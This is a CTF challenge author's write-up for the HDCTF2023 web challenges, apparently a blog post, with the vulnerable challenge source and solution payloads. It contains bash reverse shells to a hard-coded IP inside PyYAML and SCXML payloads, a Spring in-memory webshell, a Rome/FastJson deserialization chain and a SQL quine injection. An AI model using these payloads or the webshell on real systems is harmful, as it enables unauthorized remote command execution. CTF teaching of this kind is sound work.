February 12, 2024

HDCTF2023 Web出题记录

前言

这一次是第二次为校赛出题,相较于上一次已经有很多改进,这一次不是作为招新赛而是正规比赛,因此难度也拉高了点(其实还是很简单),在这一次出题过程中也温习了一下旧的知识,并且也踩了很多坑,因此这篇文章就是用来记录踩的坑以及如何解决,还有就是一些感悟的
希望各位师傅玩得愉快
![[VAHCN3X}3{XU97ZJ`2G9N8.jpg](https://cdn.nlark.com/yuque/0/2023/jpeg/32634994/1681299509467-0b50cced-50ad-4943-a6bd-0112b6fc55f9.jpeg#averageHue=%237d6c63&clientId=ucb827f0d-af9a-4&from=paste&height=360&id=ud379f9ea&name=%5BVAHCN3X%7D3%7BXU97ZJ%602G9N8.jpg&originHeight=450&originWidth=436&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=34556&status=done&style=none&taskId=u2e3f3ba6-2e17-4cd0-a76c-be04aab07ec&title=&width=348.8)

—–Boogipop 2023.4.12留

YamiYami

题解

考点:python伪随机数、Pyyaml反序列化、Session伪造、任意文件读取
拿到这一题起手式就是任意文件读取,先看看能读到源码不,然后在输入app.py后发现被过滤了
image.png
结合题目给了pwd功能查看当前目录可以知道是利用file协议的双重URL编码绕过
file:///app/app.py,将里面的app字段用url编码2次就可以读取到源代码
image.png
源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'

def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

需要做的事情就2件,伪造Cookie,Yaml反序列化,那么Cookie怎么拿呢?key的种子是由uuid.getnode()生成的,网上检索一波

在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。

/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可
之后就是Yaml反序列化:

1
2
3
4
5
6
7
8
9
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/114.116.119.253/7777 <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list

上传之后在进入/boogipop路由触发即可获取shell

出题踩坑

出题的时候想涉及一个任意文件读取,然后从网上参考了一下,但是对面用的是Py2环境,而我用的是py3环境,所以在这里浪费了一点时间
Python3的urllib.request.urlopen只可以打开url协议的内容,而不能读取app.py这样的文件内容,所以想要读取文件就使用file协议进行获取,这也刚好和考点结合了一波
还有就是flask的模板文件,也就是html文件所在文件夹,是固定的templates文件夹

JavaMonster

题解

考点:FastJson+Rome 二次反序列化打入SpringBoot高版本内存马
这一题是拿来防AK的,当然对于基础强一点的师傅是难不倒他的,因为实际上思路十分简单,实现起来复杂罢了
首先拿到jar包起手式就是解压分析一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.ctf.easyjava.controllers;

import com.ctf.easyjava.accounts.User;
import com.ctf.easyjava.utils.JwtUtil;
import com.ctf.easyjava.utils.MyownObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.util.Base64;

@Controller
public class MainController {
@RequestMapping("/")
public String index(){
return "bouncy";
}
@PostMapping("/Flag")
public void Flag(User user, HttpServletRequest request, HttpServletResponse response, @RequestParam(required = true) String data) throws IOException, ClassNotFoundException {
if(user==null){
user=new User();
String username=user.getUname();
response.getWriter().println("Hello"+username);
}
Cookie[] cookies = request.getCookies();
String token = cookies[1].getValue();
JwtUtil jwtUtil = new JwtUtil();
String gettoken=jwtUtil.Jwttoken(token);
if(!gettoken.equals("Boogipop")){
response.getWriter().println("Need Authorization!");
}
else{
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
MyownObjectInputStream objectInputStream = new MyownObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
String s = objectInputStream.readUTF();
if(!s.equals("Try to solve EasyJava")&&s.hashCode()=="Try to solve EasyJava".hashCode()) {
objectInputStream.readObject();
}
else {
response.getWriter().println("Where is your passport");
}
}
}
}


主要路由如上,可以清晰的看到readObject反序列化入口,想要进入反序列化首先需要过几层判断,其实也很简单,一个hashcode绕过一个JWT伪造
JWT算法已经在源码给出,照着造一个就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.easyjava.utils;

import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.Claim;
import com.auth0.jwt.interfaces.DecodedJWT;
import com.ctf.easyjava.accounts.User;
import org.apache.commons.lang3.time.DateUtils;

import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.Date;
import java.util.Map;

public class JwtUtil {
public JwtUtil() {
}

public String JwtCreate(User user) {
String token = JWT.create().withIssuedAt(new Date()).withExpiresAt(DateUtils.addHours(new Date(), 2)).withClaim("username", user.getUname()).sign(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564"));
return token;
}

public String Jwttoken(String token) {
JWTVerifier jwtVerifier = JWT.require(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564")).build();
DecodedJWT jwt = jwtVerifier.verify(token);
Map<String, Claim> claims = jwt.getClaims();
Claim claim = (Claim)claims.get("username");
return claim.asString();
}

public static void main(String[] args) throws UnsupportedEncodingException {
JwtUtil jwtUtil = new JwtUtil();
User user = new User("admin", "123");
String token = jwtUtil.JwtCreate(user);
System.out.println(token);
System.out.println(jwtUtil.Jwttoken(token));
}
}

我甚至贴心的给上了main方法,方便复制粘贴直接食用,那么怎么反序列化打呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.ctf.easyjava.utils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.*;

public class MyownObjectInputStream extends ObjectInputStream{
private ArrayList Blacklist=new ArrayList();
public MyownObjectInputStream(InputStream in) throws IOException {
super(in);
this.Blacklist.add(Hashtable.class.getName());
this.Blacklist.add(HashSet.class.getName());
this.Blacklist.add(JdbcRowSetImpl.class.getName());
this.Blacklist.add(TreeMap.class.getName());
this.Blacklist.add(HotSwappableTargetSource.class.getName());
this.Blacklist.add(XString.class.getName());
this.Blacklist.add(BadAttributeValueExpException.class.getName());
this.Blacklist.add(TemplatesImpl.class.getName());
this.Blacklist.add(ToStringBean.class.getName());
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.Blacklist.contains(desc.getName())) {
throw new InvalidClassException("dont do this");
} else {
return super.resolveClass(desc);
}

}
}

首先输入流我是加了很多黑名单处理了,然后审视依赖包,发现了ROME和FastJson依赖,并且都是比较低的版本,因此入口点肯定在这里
Rome和FastJson都是触发任意getter的,而且对于Rome,它自己单独就可以打出完整的一条链,但是我这里把一些类ban了,比如ToStringBean和Hotswapper、Xstring、BadAttribute,等等,那么Rome链从toString那里就断掉了,所以我们得凑上,这时候就知道还有个fastjson了,fastjson的toString也是可以触发任意getter的,这样链子就凑上去了,Then?
别忘了我把TemplatesImpl和JdbcRowImpl也ban了,那这下怎么ban呢?思路卡在了getter方法上,没了这两个理论上是几乎没啥办法继续走下去了,因此这里就涉及到了第二个知识点二次反序列化
记得SignObject这个类不,他的getObject方法里面有一个原生的readObject可以打二次反序列化,然后还有一个点就是,题目给的提示是不出网,那我们就只能打内存马了。但是,实际上你是打不了SignObject的,因为它会报错,SignOBject的getObject方法是Protected属性,因此fastjson去调用的时候会报错,结果中断,但是没关系,我准备了一个替代品HDCTF
image.png
其中的getFlag作用一样,因此更简单了
那最终思路就是Rome->FastJson->HDCTF->MemShell
并且通过Jar包可以发现是个高版本的SpringBoot,那么内存马就得改改了,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package com.ctf.easyjava.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InjectToController extends AbstractTranslet {

// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
InjectToController springControllerMemShell = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

// 第二个构造函数
public InjectToController(String aaa) {}

// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}

}

然后反序列化的利用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void exp() throws Exception {

byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\HDCTF2023\\EasyJava\\EasyJava\\target\\classes\\com\\ctf\\easyjava\\test\\exp.class"));
byte[][] codes={code};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", codes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "x");

setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);
HDCTF hdctf = new HDCTF(hashMap);
JSONObject jo = new JSONObject();
jo.put("1",hdctf);
ObjectBean objectBean2 = new ObjectBean(JSONObject.class, jo);
HashMap hashMap2 = new HashMap();
hashMap2.put(objectBean2, "x");

setFieldValue(objectBean2, "_cloneableBean", null);
setFieldValue(objectBean2, "_toStringBean", null);

ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeUTF("Try to solve Easxiava");
out.writeObject(hashMap2);
Base64Encode(bs);
}

运行获得Base64编码,然后打入:
image.png
image.png
结束

踩坑记录与总结

loadClass

我一开始是怎么想的呢,想来个SpringBoot3.x超高版本反序列化打内存马,但是现实狠狠的打了我一巴掌,一开始我是想着用Templates去打内存马,结果由于Java17反射调用被ban的太严重了!然后我转变思路,自己造一个Templates,结果就在defineclass实例化的时候就遇到了个问题
loadclass的时候会出现NoClassDefFound异常错误,这东西网上搜了一圈怎么搜的搜不对,然后最后返璞归真回到了学反序列化链子那里,发现一个傻逼的问题,就是假如想loadclass必须规范,你假如带了package包名,那所在位置就非常讲究,所以我们就不该创建maven项目,就该来一个普通的java项目,没有package在最顶上
那么就会load成功,所以这么一来出题的想法就错了,所以就转换到稍微高一点(边界上)的版本

二次反序列化

然后打二次反序列化,然后一开始我自己也是用SignObject的,结果给我抛错,说getObject方法是protected类型的,不能修改,思考了一下发现是FastJson会在调用getter的时候将修改些东西,结果导致抛错。。。。。和隔壁rome链不一样(当然假如有哪个师傅绕过了当我没说,我没深究)

内存马

第三个坑是内存马,我就普普通通的造内存马,然后打进去也没报错,最后发现一个细节
image.png
这里用的是有参方法的,假如调用无参构造,因为本身就是无参构造
image.png
会进入一个死循环,所以就寄了,打不进去内存马,这一点就很狗血,所以这一点得改一下

BabyJXvX

考点:Apache SCXML2 RCE
这个没踩什么坑,在ctfiot上也可以搜到一篇文章,前阵子被拿去考了,ban了script标签,所以这里进行了深入的挖掘,看了看别的payload,发现payload还挺多,随便挑一个奇怪的拿来考

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>

直接放payload了,不浪费时间。。
这一题主要是需要选手们自己调试跟踪进去发现payload,算是锻炼动手能力了

Apache SCXML2 RCE分析
但是看到选手们都是问chatgpt,机械飞升,被拷打了!

SearchMaster

考了一个Smarty 4.1.0的CVE,这个考检索能力,搜出来就可以了,搜不出来就等死
然后发现题目出的可能有点问题,有好多payload都可以,铸币了

HardWeb

签到题,在js里找flag

LoginMaster

首先是Robots.txt泄露,会泄露waf

1
2
3
4
5
6
7
8
9
10
function checkSql($s) 
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

SQL的Uquine注入,需要让输入和输出的结果一样
首先是可以用benchmark进行延时注入的,然后会发现password为空,结合waf就可以想到让unique注入了
payload:password=1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

结尾说明

到这里就没啥了,东西也不多,好菜的我,希望各位师傅轻点打
MM4Y}%@SFXJCZA{4}F7SFCF.jpg

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#HDCTF